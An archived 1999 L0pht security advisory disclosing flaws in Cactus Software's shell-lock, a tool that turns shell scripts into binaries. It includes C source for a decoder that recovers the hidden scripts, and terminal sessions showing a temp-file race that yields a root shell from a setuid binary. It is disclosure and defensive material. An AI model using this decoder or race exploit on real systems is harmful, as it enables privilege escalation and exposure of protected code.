L0pht Advisory: Cactus Software - Shell-lock

From: Mudge (mudgeat_private)
Date: Tue Oct 05 1999 - 11:30:03 PDT

  • Next message: S.Faust: "Omni-NFS/X Enterprise (nfsd.exe) DOS"

                                L0pht Security Advisory
    
                              Advisory Released Oct 4 1999
                       Application: Cactus Software's shell-lock
                    Severity (a): Users can de-obfuscate and retrieve
                                  the hidden shell code
                    Severity (b): If a shell-locked binary is setuid
                                  root a user can execute any command
                                  as root.
                   Status: The vendor has been sent a copy of the advisory
                    (in a format that "Even if a hacker used the 'strings'
                     utility, it would be a total waste of time.")
    
    
                          Author: mudgeat_private and lumpy
                         http://www.l0pht.com/advisories.html
    
    Overview:
    
    (a) A trivial encoding mechanism is used for obfuscating the shell code in the
    "compiled" binary. Anyone with read permissions to the file in question can
    decode and retrieve the original shell code. Another vulnerability exists
    where the user can retrieve the un-encoded shell script without needing to
    actually decode the binary.
    
    (b) The vendors claim the program to be useful in creating SUID binaries
    on systems that do not honor SUID shell scripts and also to protect against
    the security problems with SUID shell scripts. As it turns out any shell-lock
    "compiled" program that is SUID root will allow any user to execute
    any program with root privileges.
    
    Example (a'):
    
    [slaughter-house] cat q.sh
    #!/bin/sh
    echo "hi there... this is a test"
    
    [slaughter-house] shell-lock -o q q.sh
    
                             SHELL-LOCK(tm)
                      Shell Script Security Software
                         Copyright (C) 1989-1999
                        Cactus International, Inc.
                     (Version:  2.1.1.1        7/19/99)
    
    Converting files:  q.sh
    
    Compiling.....DEMO Version...
    Success!!
    
    The shell script "q" has been compiled and placed in "q"
    Conversion successful!!
    
    [slaughter-house] file q
    q:     ELF 32-bit MSB executable SPARC Version 1, dynamically linked, stripped
    
    [slaughter-house] ./q
    hi there... this is a test
    
    [slaughter-house] strings ./q
    (some stuff... not the ascii from the shell script)
    
    [slaughter-house] ./codem -d -i ./q
    #!/bin/sh
    rm -f $0 2>/dev/null
    echo "hi there... this is a test"
    
    Example (a''):
    
    [slaughter-house] temp-watch -d /var/tmp -C 'q*' -D ./ &
    [1] 22971
    [slaughter-house] nice +10 ./q
    hi there... this is a test
    [slaughter-house] more q*
    #!/bin/sh
    rm -f $0 2>/dev/null
    echo "hi there... this is a test"
    
    Example (b):
    
    # ls -l q
    -rwxr-xr-x   1 mudge    other      50753 Sep 28 14:24 q
    # chown root q
    # chmod 4755 q
    # exit
    [slaughter-house] id
    uid=789(mudge) gid=1(other)
    [slaughter-house] ls -l q
    -rwsr-xr-x   1 root     other      50753 Sep 28 14:24 q
    [slaughter-house] temp-watch -X '^q*' -R /bin/sh -d /var/tmp &
    [1] 23071
    [slaughter-house] nice +10 ./q
    # id
    uid=0(root) gid=1(other)
    
    
    Background on shell-lock:
    
      Have you ever seen the big advertisements run in the back of SysAdmin
    magazine. You know, the ones with the Texan with the huge hat and
    sunglasses? Me too! Well, that is Cactus software and I've wanted to
    look at some of their stuff but never found the time. Until lumpy
    spotted some rather funny (read sad) stuff, and away we went.
    
      The program "shell-lock" is used to create ELF binaries from shell scripts.
    Ostensibly called a Shell Script Compiler, the literature states that the
    program also hides the original shell code so as not to be returnable
    through running strings(1) on the binary.
    
    A few tidbits from the product literature available on their web page
    ( http://www.cactus.com/shellock.html ):
    
      . There is absolutely no way anyone will know the contents of the shell
        script once it has been locked. Even if a hacker used the "strings"
        utility, it would be a total waste of time.
    
      . Make a simple limited shell script run with root power. This is done by
        making the binary executable a set-uid program, and eliminates giving
        out the "root password" to many users.
    
    And from the release notes:
    
      . Strong Security enhancements. All known methods of attack on a
        shell-locked script have been thwarted in this version.
    
    
    Details:
    
    A quick decompilation shows that the encoding and decoding routines look
    as follows:
    
    0x16194 <codem+56>:     inc  %i4                      Increment the counter
    0x16198 <codem+60>:     srl  %i4, 0x1f, %o0          {
    0x1619c <codem+64>:     add  %i4, %o0, %o0           { testing for odd v even
    0x161a0 <codem+68>:     andn  %o0, 1, %o0            {
    0x161a4 <codem+72>:     cmp  %i4, %o0                {
    0x161a8 <codem+76>:     bne  0x161b8 <codem+92>      If they match
    0x161ac <codem+80>:     add  %o1, 0x63, %o2          add 0x63 to the value
    0x161b0 <codem+84>:     b  0x161c0 <codem+100>       else
    0x161b4 <codem+88>:     ld  [ %i1 ], %o0
    0x161b8 <codem+92>:     add  %o1, 0x44, %o2          add 0x44 to the value
    0x161bc <codem+96>:     ld  [ %i1 ], %o0
    0x161c0 <codem+100>:    deccc  %o0
    0x161c4 <codem+104>:    bneg  0x16228 <codem+204>
    0x161c8 <codem+108>:    st  %o0, [ %i1 ]
    0x161cc <codem+112>:    ld  [ %i1 + 4 ], %o0
    0x161d0 <codem+116>:    add  %o0, 1, %o1
    0x161d4 <codem+120>:    st  %o1, [ %i1 + 4 ]
    0x161d8 <codem+124>:    and  %o2, 0xff, %o1          and with 0xff (hey it's
    0x161dc <codem+128>:    stb  %o1, [ %o0 ]            ascii printable after all)
    0x161e0 <codem+132>:    ld  [ %i0 ], %o0
    0x161e4 <codem+136>:    deccc  %o0
    
    This basically boils down to the following C code snippit.
        for (i=0; i < strlen ; i++){
            if (!(i % 2))
              outbuff[i] = (inbuff[i] + 0x44) & 0xff;
            else
              outbuff[i] = (inbuff[i] + 0x63) & 0xff;
        }
    
    Conversely the decoding subtracts 0x44 and 0x63 alternately.
    
    What shell-lock does when it creates the initial "compiled" binary from
    the shell script is to add the line "rm -f $0 2>/dev/null" to the bourne
    shell script (or "unlink $ZERO ; $ZERO=ENV{'X0'};\n.\nw\nq" for a perl
    script) and encodes the entire file. This is then copied into the
    data section of a skeleton binary file. The binary file, upon execution,
    reads the encoded data section and writes it out to a temporary file (*note:
    the default location is /var/tmp though it will follow the TMPDIR variable)
    and then execve's /bin/sh to call the program.
    
    The first method of extracting the data comes in using the attached program
    to read the binary and run the data section through the decoding routine.
    
    The second method of extraction is to use the current version of temp-watch
    (available freely from the L0pht advisories section) to make a copy of the
    temporary file containing the original shell code that is created when the
    binary is run.
    
    The SUID root vulnerability lies in the fact that while the temporary file
    is created without any special permissions, the file exec'ing it is running
    as root. Thus, as soon as one sees the temporary file the race condition
    exists where the user can unlink the file and replace it with a different
    file or a symlink to the program wishing to be executed. This is accomplished
    in the above example with the program temp-watch using arguments specifying
    the replacement of the temporary file with a link to /bin/sh.
    
    Solution:
    
    Do not take candy or accept car rides from strangers. If something seems
    too good to be true it probably is. There are few magic solutions that
    negate having to do things right in the first place.
    
    If you need a shell script to run with root priveledges consider writing
    it in C or using something like sudo.
    
    Do not rely upon shell-lock as an obfuscation mechanism for hiding the
    internals of shell scripts in 'compiled' binaries.
    
    
    Source Code:
    
    ---begin temp-watch---
    temp-watch can be found at http://www.l0pht.com/
    ---end temp-watch---
    
    ---begin codem.c---
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <unistd.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <string.h>
    
    void usage(char *);
    
    int main(int argc, char *argv[]){
      int fdin, fdout;
      int strlen, i, c;
      int cryptFlag=0, decryptFlag=0,seekFlag=0;
      int seekOffset=50688;
      char *infile=NULL, *outfile=NULL;
      char inbuff[8192];
      char outbuff[8192];
    
    
      while ((c = getopt(argc, argv, "cdhi:o:s:")) != EOF){
        switch (c) {
          case 'c':
            cryptFlag++;
            break;
          case 'd':
            decryptFlag++;
            break;
          case 'i':
            infile = optarg;
            break;
          case 'o':
            outfile = optarg;
            break;
          case 's':
            seekOffset = atoi(optarg);
            break;
          case 'h':
            usage(argv[0]);
            break;
          default:
            usage(argv[0]);
            break;
        }
      }
    
      if ((cryptFlag && decryptFlag) || (!cryptFlag && !decryptFlag)){
        printf("Must specify either -c or -d but not both\n");
        usage(argv[0]);
      }
    
      if (infile){
        fdin = open(infile, O_RDONLY);
        if (fdin == -1){
          perror("open infile");
        }
      } else {
        fdin = STDIN_FILENO;
      }
    
      if (outfile){
        fdout = open(outfile, O_WRONLY|O_CREAT|O_EXCL, 0644);
        if (fdout == -1){
          perror("open outfiel");
        }
      } else {
        fdout = STDOUT_FILENO;
      }
    
      memset(inbuff, '\0', sizeof(inbuff));
      memset(outbuff, '\0', sizeof(outbuff));
    
      if (decryptFlag)
        lseek(fdin, seekOffset, SEEK_SET);
    
      while ((strlen = read(fdin, inbuff, sizeof(inbuff))) != 0){
    
        for (i=0; i < strlen ; i++){
          if (cryptFlag){
            if (!(i % 2))
              outbuff[i] = (inbuff[i] + 0x44) & 0xff;
            else
              outbuff[i] = (inbuff[i] + 0x63) & 0xff;
          } else {
            if (!(i % 2))
              outbuff[i] = inbuff[i] - 0x44;
            else
              outbuff[i] = inbuff[i] - 0x63;
          }
        }
    
        write(fdout, outbuff, strlen);
      }
    
      close(fdin);
      close(fdout);
    
      return(0);
    }
    
    void usage(char *progname){
    
      char *c;
    
      c = strrchr(progname, '/');
      if (c)
        c++;
      else
        c = progname;
    
      printf("Usage: %s -cd[h] [-i infile] [-o outfile] [-s seek] \n", c);
      printf("  Shell-lock {en,de}coder by mudgeat_private and _lumpy\n");
      printf("    -c  encrypt\n");
      printf("    -d  decrypt\n");
      printf("    -h  help\n");
      printf("    -i <file> input file\n");
      printf("    -o <file> output file\n");
      printf("    -s <offset> seed offset [defaults to 50688]\n");
      exit(1);
    }
    
    ---end codem.c---
    
    .mudge
    mudgeat_private
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:06:47 PDT